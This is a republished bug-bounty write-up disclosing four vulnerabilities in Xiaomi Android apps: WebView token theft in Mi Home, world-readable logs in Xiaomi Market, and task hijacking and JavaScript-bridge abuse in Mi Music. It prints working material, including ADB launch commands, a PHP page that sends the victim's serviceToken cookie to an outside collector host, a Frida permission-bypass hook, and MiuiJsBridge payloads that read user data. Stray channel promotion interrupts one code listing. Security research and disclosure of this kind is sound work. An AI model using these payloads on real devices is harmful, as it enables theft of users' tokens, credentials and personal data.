November 17, 2021

HACKING XIAOMI'S ANDROID APPS - PART 1

In this post I want to disclose some interesting security issues that found while researching on Xiaomi's assets, which got me to #5 within a month and also the top researcher spot for April and May '21.

source : takemyhand

1. Stealing users' AuthToken by hijacking WebView in Mi Home

The app exported an activity which loaded an external URL directly from user input. A simple ADB PoC is am start -n com.xiaomi.smarthome/com.mi.global.shop.activity.MainTabActivity -d http://tmh/?nativeOpenUrl=www.evil.com
As you can see, my payload is in the nativeOpenUrl parameter. Looking at the code for this activity, it is found that the webview implements a custom DownloadListener like the following:

 this.webView.setDownloadListener(new DownloadListener() {

            public final void onDownloadStart(String str, String str2, String str3, String str4, long j) {
                String str5;
                if (!bhr.O000000o(WebActivity.this.getApplicationContext(), "android.permission.WRITE_EXTERNAL_STORAGE")) {
                    bhh.O000000o(WebActivity.this.getApplicationContext(), (int) R.string.storage_permission_error, 1);
                    return;
                }
                WebActivity.this.addDownloadListener();
                Context applicationContext = WebActivity.this.getApplicationContext();
                DownloadManager.Request request = new DownloadManager.Request(Uri.parse(str));
                String cookie = CookieManager.getInstance().getCookie(beb.O0000oO);
                bfs O0000o00 = bfs.O0000o00();
                if (O0000o00.O0000o0O()) {
                    O0000o00.O00000Oo();
                    bec.O000000o.O00000oO();
                    if (O0000o00.O000000o(bec.O000000o.O00000o0()) == null) {
                        str5 = null;
                    } else {
                        bec.O000000o.O00000oO();
                        str5 = O0000o00.O000000o(bec.O000000o.O00000o0()).authToken;
                    }
                    cookie = bfc.O000000o("serviceToken", str5, bec.O00000Oo.O000000o, "/" + beb.O0000oo0, (String) null) + cookie;
                }
                bsd.O000000o((Object) cookie);
                request.addRequestHeader("Cookie", cookie);
                request.allowScanningByMediaScanner();
                request.setNotificationVisibility(1);
                if (Build.VERSION.SDK_INT >= 16) {
                    request.setAllowedOverMetered(false);
                }
                request.setVisibleInDownloadsUi(true);
                request.setAllowedOverRoaming(true);
                request.setAllowedNetworkTypes(2);
                String guessFileName = URLUtil.guessFileName(str, str3, str4);
                bsd.O000000o((Object) "fileName:".concat(String.valueOf(guessFileName)));
                request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, guessFileName);
                ((DownloadManager) applicationContext.getSystemService("download")).enqueue(request);
            }
        });

We see that the webview introduces it's own method for whenever a download starts. Further, on lines 23-26, we see that it will attach the user's cookies to a request that makes the app start a download.Connecting all the dots, we now simply have to create a page that will send a 'downloadable' response to the webview, and it will send a request with the user's cookies attached.
A simple PoC in PHP:

<?php 
header('Content-Type: application/pdf');
header("Content-disposition: attachment; filename=\"" . "ameya.html" . "\"");
file_get_contents("http://pvo1ztne9qj33kvlf4edizlhs8yymn.burpcollaborator.net/?exfil=".$_COOKIE["serviceToken"]); 
echo "downloaded"; 
?>

As can be seen, the server responds with a 'downloadable' HTTP response, and on receiving the next request, sends the user cookie to a Collaborator instance.Naturally, the next step in the attack was to make this attack remote. For this, deep links were used. The manifest file revealed that the app will parse any links of the format globalshop://mobile.mi.com?<params>. After some more code review, the following link was crafted: globalshop://mobile.mi.com?nativeOpenUrl=https://takemyhand.xyz/downloadable_response.html. This link can be used inside an anchor tag of the attacker's web page, and it will execute the full attack.

2. Overly verbose app logs in Xiaomi Market

This bug is nothing fancy, but I think a lot of people might miss this. The Xiaomi Market stored app logs in a public directory, which could have been accessed by any application on the victims' device. This was due to usage of getExternalFilesDir(), which returns a handle to the /sdcard/Android/data/com.xiaomi.market/files directory where the logs reside. Previously I only restricted myself to checking the /sdcard/ directory without looking inside the app's own private (but public?) directory. Looking for these issues is as simple as grepping for getExternalFilesDir() and not just getExternalStorage(). A simple java PoC to steal logs out of the directory is:

public class MainActivity extends AppCompatActivity {
    public static final int PERMISSION_EXTERNAL_STORAGE = 1;

    /* access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.id.accessibility_custom_action_22);
        ActivityCompat.requestPermissions(this, new String[]{"android.permission.READ_EXTERNAL_STORAGE"}, 1);
        File file = new File("/sdcard/Android/data/com.xiaomi.market/files/persist_log1.log");
        StringBuilder text = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new FileReader(file));
            while (true) {
                String line = br.readLine();
                if (line == null) {
                    break;
                }
                text.append(line);
                text.append('\n');
            }
            br.close();
        } catch (IOException e2) {
            Log.d("Error reading file", e2.toString());
        }
        ((TextView) findViewById(R.drawable.bg_gameinfo_score_colorful)).setText(text.toString());
    }
}

3. Task deception using app linking in Mi Music

The manifest file for Mi Music looked like:

<intent-filter>
     <action android:name="android.intent.action.VIEW"/>
     <category android:name="android.intent.category.DEFAULT"/>
     <category android:name="android.intent.category.BROWSABLE"/>
     <!---redacted--->
     <data android:scheme="miui-music" android:host="web"/>
     <!---redacted--->
</intent-filter>

Code for miui-music://web deeplink in com.miui.player.component.HybridUriParser:

HACKFREAKS OFFICIAL — a channel with interesting collections of various services of hacking and intresting stuffs

public static Intent parseActivity(Context context, Uri uri) {
        if (uri == null || !FeatureConstants.SCHEME.equals(uri.getScheme())) {
            return null;
        }
        String authority = uri.getAuthority();
        IDeviceCompat deviceCompat = IApplicationHelper.CC.getInstance().getDeviceCompat();
        if ("settings".equals(authority)) {
            Intent intent = new Intent(context, deviceCompat.getActivityClass(1));
            intent.setData(uri);
            intent.setPackage(context.getPackageName());
            return intent;
        } else if ("web".equals(authority)) {
            boolean booleanQueryParameter = uri.getBooleanQueryParameter(FeatureConstants.PARAM_BROWSER_VIEW, false);
            String queryParameter = uri.getQueryParameter("url");
            if (!booleanQueryParameter || TextUtils.isEmpty(queryParameter)) {
                return null;
            }
            return new Intent("android.intent.action.VIEW", Uri.parse(queryParameter));
        } else if (!FeatureConstants.AUTHORITY_OUT_BROWSER.equals(authority)) {
            return null;
        } else {
            Intent intent2 = new Intent("android.intent.action.VIEW", Uri.parse(uri.getQueryParameter("url")));
            intent2.setFlags(268435456);
            String queryParameter2 = uri.getQueryParameter(FeatureConstants.PARAM_PACKAGE);
            if (!TextUtils.isEmpty(queryParameter2)) {
                intent2.setPackage(queryParameter2);
            }
            if (!Utils.isIntentExist(context, intent2)) {
                intent2.setPackage(null);
            }
            return intent2;
        }
    }

As can be seen, if the deeplink is like miui-music://web/?url=https://www.google.com&browser_view=true, this will launch another intent with data as https://www.google.com and action android.intent.action.VIEW. Naturally, this will be opened in the device's browser. An interesting way to attack such implementations (which is quite common to prevent malicious links from opening inside the webview), is to use app links.Android allows use of app links, which work similar to deep links. If an app link for my app exists, instead of the URL opening in the browser, my application will be launched on the user's device.
So, a custom APK was built, and the following intent filters were added

<intent-filter android:autoVerify="true">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <data
                android:path="/deceive.html"
                android:host="recon.takemyhand.xyz"
                android:scheme="https" />
</intent-filter>

This means that all intents with data https://recon.takemyhand.xyz/deceive.html will be launched inside my application.
If I just add this intent filter, then on using deeplink miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&browser_view=true, my app will simply get launched, although without any chance of deceiving the user.
To make it 100% convincing, the following intent filters were also added inside the app:

<intent-filter>
     <action android:name="android.intent.action.VIEW"/>
     <category android:name="android.intent.category.DEFAULT"/>
     <category android:name="android.intent.category.BROWSABLE"/>
     <!---redacted--->
     <data android:scheme="miui-music" android:host="web"/>
     <!---redacted--->
</intent-filter>

This will allow the user to choose an application when launching the deeplink miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&browser_view=true. Even when the user clicks on Mi Music in the intent picker, it will launch the custom APK's activity, since an app link is declared in the application.
Lastly, I have also signed my APK and used the SHA 256 fingerprint to generate my own assetlinks.json file on my website, which allows android to open the custom application every time instead of inside the browser.
Even when the user chooses Mi Music to open the deeplink, he will be taken to the malicious activity. Since the launchMode of the activity inside Mi Music is set to singleTask, the malicious activity will be launched inside Mi Music app (a task affinity can be set in the malicious application), making it impossible for victim to suspect an attack. This can lead to very easy theft of credentials, as shown below.

https://gifyu.com/image/Grlt

The simple fix was to specify browser package in com.miui.player.component.HybridUriParser when launching browser intent.

4. Remote WebView hijack to exfiltrate data in Mi Music

In the AndroidManifest.xml file you can see the com.miui.player.ui.MusicBrowserActivity processes deeplinks:

<intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="miui-music" android:host="play"/>
                <data android:scheme="miui-music" android:host="view"/>
                <data android:scheme="miui-music" android:host="detail"/>
                <data android:scheme="miui-music" android:host="home"/>
                <data android:scheme="miui-music" android:host="search"/>
                <data android:scheme="miui-music" android:host="artist"/>
                <data android:scheme="miui-music" android:host="more"/>
                <data android:scheme="miui-music" android:host="web"/>
                <data android:scheme="miui-music" android:host="playback"/>
                <data android:scheme="miui-music" android:host="settings"/>
                <data android:scheme="miui-music" android:host="service"/>
                <data android:scheme="http" android:host="app.music.xiaomi.com"/>
                <data android:scheme="https" android:host="app.music.xiaomi.com"/>
                <data android:scheme="http" android:host="app.fm.duokanbox.com"/>
                <data android:scheme="https" android:host="app.fm.duokanbox.com"/>
                <data android:scheme="miui-music" android:host="artist_list"/>
                <data android:scheme="miui-music" android:host="display"/>
                <data android:scheme="miui-music" android:host="global_music"/>
                <data android:scheme="miui-music" android:host="hungama_payment"/>
</intent-filter>

Looking at the code for com.miui.player.ui.MusicBrowserActivity shows a function called dispatch:

public boolean dispatch(Intent intent, boolean z) {
        MusicLog.i(TAG, "dispatch uri: " + intent.getData());
        if (PrivacyCheckHelper.isAgreeMusicPrivacy() || canIgnorePrivacy(intent) || PrivacyCheckHelper.isSkipMusicUserTerm()) {
            MediaPlaybackServiceProxy mediaPlaybackServiceProxy = this.mPlaybackService;
            if (mediaPlaybackServiceProxy == null) {
                MusicLog.e(TAG, "mPlaybackService is NULL, skip this dispatch");
                return false;
            }
            if (!mediaPlaybackServiceProxy.hasService()) {
                this.mHandler.sendEmptyMessageDelayed(2, 1500);
            }
            Uri parseData = parseData(intent);
            MusicLog.i(TAG, "open uri, uri=" + parseData);
            if (parseData != null) {
                try {
                    if (!TextUtils.isEmpty(parseData.getQueryParameter(FeatureConstants.PARAM_PAY_RESULT))) {
                        this.mFragmentCenter.removeTopFragment();
                    }
                } catch (UnsupportedOperationException unused) {
                    MusicLog.i(TAG, "dispatch, UnsupportedOperationException uri:" + parseData);
                }
            }
            String queryParameter = parseData != null ? parseData.getQueryParameter(FeatureConstants.PARAM_REF) : null;
            if (TextUtils.isEmpty(queryParameter)) {
                queryParameter = "normal";
            }
            checkOpenOnlineService(queryParameter);
            PlayableList parseService = HybridUriParser.parseService(parseData);
            if (parseService != null) {
                parseService.getQueueDetail().miRef = queryParameter;
                playByServiceAndShow(parseService, parseData);
                return true;
            }
            playSongsIfNeed(parseData, queryParameter);
            Intent parseActivity = HybridUriParser.parseActivity(this, parseData);
            if (parseActivity != null) {
                Bundle extras = intent.getExtras();
                if (extras != null) {
                    parseActivity.putExtras(extras);
                }
                try {
                    super.startActivity(parseActivity);
                } catch (Exception e) {
                    Crashlytics.logException(e);
                    MusicLog.e(TAG, "startActivity Exception:" + e);
                }
                return true;
            }
            FragmentInfo parseFragment = HybridUriParser.parseFragment(parseData);
            if (parseFragment == null && !z) {
                parseFragment = HybridUriParser.home();
            }
            if (parseFragment != null) {
                MusicLog.i(TAG, "startFragment ");
                parseFragment.mArgs = intent.getExtras();
                MusicTrace.beginTrace(TAG, "startFragment");
                this.mFragmentCenter.start(parseFragment);
                MusicTrace.endTrace();
                return true;
            }
            MusicLog.i(TAG, "unhandle intent");
            return false;
        }
        showPrivacyPage();
        return false;
    }

Uri parseData = parseData(intent); parses the intent and passes it to parseFragment() in the last function inside dispatch.
The code for parseFragment:

public static FragmentInfo parseFragment(Uri uri) {
        if (uri == null || !FeatureConstants.SCHEME.equals(uri.getScheme())) {
            return null;
        }
        IDeviceCompat deviceCompat = IApplicationHelper.CC.getInstance().getDeviceCompat();
        Uri adapter = DisplayCompact.adapter(uri);
        if (adapter == null) {
            return null;
        }
        IAppInstance.CC.getInstance().OnlineServiceHelperCheckOnlineUriAndOpenSwitch(IApplicationHelper.CC.getInstance().getContext(), adapter);
        String authority = adapter.getAuthority();
        if ("display".equals(authority) || FeatureConstants.AUTHORITY_FOLDER_PICKER.equals(authority)) {
           //redacted
        } else if (FeatureConstants.AUTHORITY_HUNGAMA_PAYMENT.equals(authority)) {
            //redacted
        } else if ("webview".equals(authority)) {
            FragmentInfo fragmentInfo3 = new FragmentInfo();
            fragmentInfo3.mClz = deviceCompat.getFragmentClass(12);
            fragmentInfo3.mOneshot = adapter.getBooleanQueryParameter(FeatureConstants.PARAM_MIBACK, false);
            fragmentInfo3.mArgs = AnimationDef.SLIDE.toBundle(null);
            fragmentInfo3.mUri = adapter;
            return fragmentInfo3;
        } else if (DisplayUriConstants.HYBRID_AUTHORITIES.contains(authority) || adapter.getBooleanQueryParameter("hybrid", false)) {
           //redacted
    }

Now we know what deeplink is needed to trigger the webview with our URL: miui-music://global_music/?page_type=webview&url=https://www.evil.com
Now to find a way to escalate this attack, a way had to be discovered to exploit this insecure webview usage.
In com.xiaomi.music.hybrid.internal.HybridManager class you can see that javascript interface is getting added:

private void initView() {
        initSettings(this.mView.getSettings());
        this.mView.setWebViewClient(new HybridViewClient(this));
        HybridChromeClient hybridChromeClient = new HybridChromeClient();
        hybridChromeClient.setHybridManager(this);
        this.mView.setWebChromeClient(hybridChromeClient);
        if (HybridView.DEBUG) {
            WebView.setWebContentsDebuggingEnabled(true);
        }
        HybridView hybridView = this.mView;
        JsInterface jsInterface = this.mJsInterface;
        hybridView.addJavascriptInterface(jsInterface, jsInterface.getInterfaceName());
        this.mView.addOnAttachStateChangeListener(this.mAttachStateChangeListener);
    }

the javascript interfaces are declared in com.xiaomi.music.hybrid.internal.JsInterface. You can see that there are 2 javascript interfaces:

    @JavascriptInterface
    public String config(String str) {
        String config = this.mManager.config(str);
        if (Log.isLoggable("hybrid", 3)) {
            Log.d("hybrid", "config response is " + config);
        }
        return config;
    }

    @JavascriptInterface
    public String invoke(String str, String str2, String str3, String str4) {
        String invoke = this.mManager.invoke(str, str2, str3, str4);
        if (Log.isLoggable("hybrid", 3)) {
            Log.d("hybrid", "blocking response is " + invoke);
        }
        return invoke;
    }

Code for mManager.invoke() found in com.xiaomi.music.hybrid.internal.HybridManager:

public String invoke(String str, String str2, String str3, String str4) {
        if (!this.mPM.isValid(this.mPageContext.getUrl())) {
            return new Response(203).toString();
        }
        Request request = new Request();
        request.setAction(str2);
        request.setRawParams(str3);
        request.setPageContext(this.mPageContext);
        request.setView(this.mView);
        request.setNativeInterface(this.mNativeInterface);
        try {
            HybridFeature lookupFeature = this.mFM.lookupFeature(str);
            HybridFeature.Mode invocationMode = lookupFeature.getInvocationMode(request);
            if (invocationMode == HybridFeature.Mode.SYNC) {
                Response invoke = lookupFeature.invoke(request);
                callback(invoke, this.mPageContext, str4);
                return invoke.toString();
            } else if (invocationMode == HybridFeature.Mode.ASYNC) {
                sPool.execute(new AsyncInvocation(lookupFeature, request, str4));
                return new Response(2).toString();
            } else {
                request.setCallback(new Callback(this, this.mPageContext, str4));
                sPool.execute(new AsyncInvocation(lookupFeature, request, str4));
                return new Response(3).toString();
            }
        } catch (HybridException e) {
            Response response = e.getResponse();
            callback(response, this.mPageContext, str4);
            return response.toString();
        }
    }

The HybridFeature lookupFeature = this.mFM.lookupFeature(str); allows us to call certain features. A list of all these features can be found under com.miui.player.hybrid.feature folder.

So using our webview, we should able to query any of these features. For example, to get the userInfo, our payload inside the webview will be:

<script>MiuiJsBridge.invoke("com.miui.player.hybrid.feature.QueryUserInfo", "callback", null, "(function(t) {alert(t)})");</script>

This payload took quite some time to make. The first parameter is an identifier to the feature we want to call, the second parameter is the type of request we are making. In this case, we use the callback mode and use our callback as (function(t) {alert(t)} which will take the response from the java code and alert it.If you try loading the above script inside your HTML page and load it inside your webview, you will get permission error. Why?
So in the first line of the invoke function, you can see:

if (!this.mPM.isValid(this.mPageContext.getUrl())) {

The code for this can be found in the com.xiaomi.music.hybrid.internal.PermissionManager class. As you can see, we need a valid Config object:

The code for this can be found in the com.xiaomi.music.hybrid.internal.PermissionManager class. As you can see, we need a valid Config object:

private String config(Config config, boolean z) {
        if (z) {
            SecurityManager securityManager = new SecurityManager(config, this.mActivity.getApplicationContext());
            if (securityManager.isExpired() || !securityManager.isValidSignature()) { // validation of the config object
                return new Response(202).toString();
            }
        }
        this.mFM = new FeatureManager(config, this.mActivity.getClassLoader());
        this.mPM = new PermissionManager(config);
        return new Response(0).toString();
    }

A Config object is initialised every time the app opens a URL inside the webview. This objects properties include a signature, an array of allowed domains and subdomains, and some other app-specific items. A custom Config can be declared using the config() javascript interface mentioned in the com.xiaomi.music.hybrid.internal.JsInterface file. However, this requires a lot of reverse engineering as it involves generating a valid signature. Since the object was huge(as you will see in the video), to get a valid Config object, we will use Frida, so that we can understand how a Config object affects our control over the webview. We will use the following Frida script to capture a valid Config object:

Java.perform(function() {
	console.log("Starting hook");

	var Activity = Java.use("com.xiaomi.music.hybrid.internal.PermissionManager");
    Activity.isValid.implementation = function () {
        return true;
    };

	Java.choose("com.xiaomi.music.hybrid.internal.Config", {
	  onMatch: function(inst) {
		console.log("value " + inst.getSignedContent())
	  }
	});
  });

As you can see in the youtube video, I am able to get a default valid Config object, in which the firebasestorage.googleapis.com seems to have been whitelisted as a domain.

This means that the javascript hosted on the https://firebasestorage.googleapis.com/* sites will be able to invoke the invoke interface without any error, since this URL will be present inside the Config object on webview init, thereby successfully passing the isValid() check. Firebase allows any user to store files (HTML files in this case) on the firebasestorage.googleapis.com domain.

  1. Go to https://console.firebase.google.com/u/0/
  2. Select a project
  3. Click on storage on the left side tab.
  4. Create an HTML file with the following payload and get the resulting URL:
<script>MiuiJsBridge.invoke("com.miui.player.hybrid.feature.QueryUserInfo", "callback", null, "(function(t) {alert(t)})");</script>

ADB shell: am start -n com.miui.player/com.miui.player.ui.MusicBrowserActivity -d "miui-music://global_music/?page_type=webview&url=<FIREBASE-URL-HERE>"
After running the above command, we are successfully able to bypass the permissions and invoke any JS interface remotely.

Other payloads:

Basically, all the features (com.miui.player.hybrid.feature.*) in the attached screenshot can now be queried by the attacker

Display android toast:

This will make an Android toast on victim's device:

<script>MiuiJsBridge.invoke("com.miui.player.hybrid.feature.ToastFeature", "sync", "{content: 'takemyhand'}", null);</script>

Get user search history:

<script>alert(MiuiJsBridge.invoke("com.miui.player.hybrid.feature.GetSearchHistory", "sync", null, null));</script>

Query current playing song:

<script>MiuiJsBridge.invoke("com.miui.player.hybrid.feature.QueryNowplayingInfo", "callback", null, "(function(t) {alert(t)})")</script>

Lastly, other music and device related information can be queried in a similar way using the com.miui.player.hybrid.feature.ConfigStatics class and also all the other query features.

<script>alert(MiuiJsBridge.invoke("com.miui.player.hybrid.feature.ConfigStatics", "sync", "{type: 10}", null));</script>

The type parameter in the above payload can be adjusted according to the numbers mentioned in com.miui.player.hybrid.feature.ConfigStatics class.

Attacker can also remotely control music (play, seek, next, previous) using com.miui.player.hybrid.feature.ControlService and get all JOOX account information using com.miui.player.hybrid.feature.JooxBridgeFeature.

TO BE CONTINUED..

HACKFREAKS OFFICIAL— FOR NOW CHECK OUT THIS

Thank you for the attention!

This article is presented for informational purposes only and does not constitute a call to action. All information is aimed at protecting readers from illegal actions.